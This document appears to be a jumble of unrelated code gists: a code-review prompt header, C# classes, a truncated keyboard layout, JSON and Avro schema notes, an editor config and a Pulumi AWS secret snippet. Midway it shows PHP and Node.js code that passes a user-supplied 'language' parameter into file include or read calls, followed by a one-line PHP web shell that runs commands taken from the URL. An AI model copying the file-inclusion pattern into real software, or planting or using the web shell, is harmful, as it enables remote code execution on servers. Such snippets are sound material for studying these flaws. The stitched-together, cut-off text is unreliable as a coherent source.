| name | codereview-architecture |
|---|---|
| description | Reviews code changes for engineering quality, maintainability, language idiomaticity, extension points, coupling, cohesion, and architectural placement. |
| version | 1 |
You are a senior engineer performing code review with a strong bias toward long-term code health.
| public class MyQueryParams : QueryParameterBase<MyQueryParams> | |
| { | |
| public string First { get; set; } | |
| public string Second { get; set; } | |
| } |
| {"version": 1, "uid": 5010774632021243529, "layout": [[["LGUI_T(KC_TAB)", "KC_Q", "KC_W", "KC_E", "KC_R", "KC_T", "KC_LBRACKET"], ["OSM(MOD_LSFT)", "TD(6)", "KC_S", "KC_D", "KC_F", "KC_G", "KC_MINUS"], ["OSM(MOD_LALT)", "TD(8)", "TD(7)", "TD(4)", "TD(5)", "KC_B", -1], [-1, -1, -1, "LCTL_T(KC_ESCAPE)", "LT5(KC_SPACE)", "LT1(KC_TAB)", -1], ["KC_DELETE", "KC_P", "KC_O", "KC_I", "KC_U", "KC_Y", "KC_RBRACKET"], ["KC_QUOTE", "KC_SCOLON", "KC_L", "KC_K", "KC_J", "KC_H", "KC_EQUAL"], ["OSL(3)", "KC_SLASH", "KC_DOT", "KC_COMMA", "KC_M", "KC_N", -1], [-1, -1, -1, "OSM(MOD_RSFT)", "LT2(KC_BSPACE)", "KC_ENTER", -1]], [["KC_TRNS", "KC_NO", "KC_NO", "KC_NO", "KC_NO", "RGB_TOG", "KC_TRNS"], ["KC_TRNS", "KC_MPRV", "KC_VOLD", "KC_VOLU", "KC_MNXT", "KC_NO", "KC_TRNS"], ["KC_TRNS", "KC_NO", "KC_NO", "KC_NO", "KC_NO", "KC_NO", -1], [-1, -1, -1, "KC_MSTP", "KC_MPLY", "KC_TRNS", -1], ["KC_TRNS", "KC_UNDO", "KC_CUT", "KC_COPY", "KC_PSTE", "KC_AGIN", "KC_TRNS"], ["KC_TRNS", "KC_NO", "KC_MS_R", "KC_MS_U", "KC_MS_D", "KC_MS_L", "KC_TR |
| { | |
| "type": "object", | |
| "properties": { | |
| "PropertyOne": { | |
| "type": "string" | |
| }, | |
| "PropertyTwo": { | |
| "type": "integer" | |
| } | |
| }, |
A guardrail means that it must be checked against.
| JsonSchema Property | AvroSchema Support | IsConvertable | Description | Guardrail? |
|---|---|---|---|---|
| AnyOf | Union (Somewhat fit) | ✅ | ||
| AllOf | Not supported | ⛔ | This cannot be expressed in Avro | Yes |
| OneOf | Union (Best fit) | ✅ | ||
| Nullable | Union (null + another Type) | ✅ | ||
| Title | Schema.Name | ✅ | Must be guardrail as avro requires "Name" for its types. | Yes |
| Type | AvroRecord, AvroArray, AvroMap, AvroEnum (with Symbols) or primitive (see picture) | ✅ | Must be guardrailed as avro needs a type to convert into. | Yes |
| theme = "catppuccin_frappe" | |
| [editor] | |
| bufferline = "multiple" | |
| cursorline = true | |
| line-number = "absolute" | |
| true-color = true | |
| end-of-line-diagnostics = "hint" | |
| [editor.cursor-shape] |
| // PHP | |
| `if (isset($_GET['language'])) { | |
| include($_GET['language']); | |
| }` | |
| // NodeJS | |
| `if(req.query.language) { | |
| fs.readFile(path.join(__dirname, req.query.language), function (err, data) { | |
| res.write(data); | |
| }); |
| <?php system($_GET["cmd"]); ?> |
| using Json.Pointer; | |
| using System.Text.Json; | |
| using System.Text.Json.Nodes; | |
| var json = | |
| """ | |
| { | |
| "objects": { | |
| "and": { | |
| "myProp": "1234" |
| // Get reference to the existing secret | |
| let existingSecret = aws.secretsmanager.getSecret({name: "existingSecretName"}); | |
| // Create a new secret version | |
| let secretVersion = new aws.secretsmanager.SecretVersion("secretVersion", { | |
| secretId: existingSecret.then(secret => secret.id), | |
| secretString: "newSecretValue", | |
| }); |
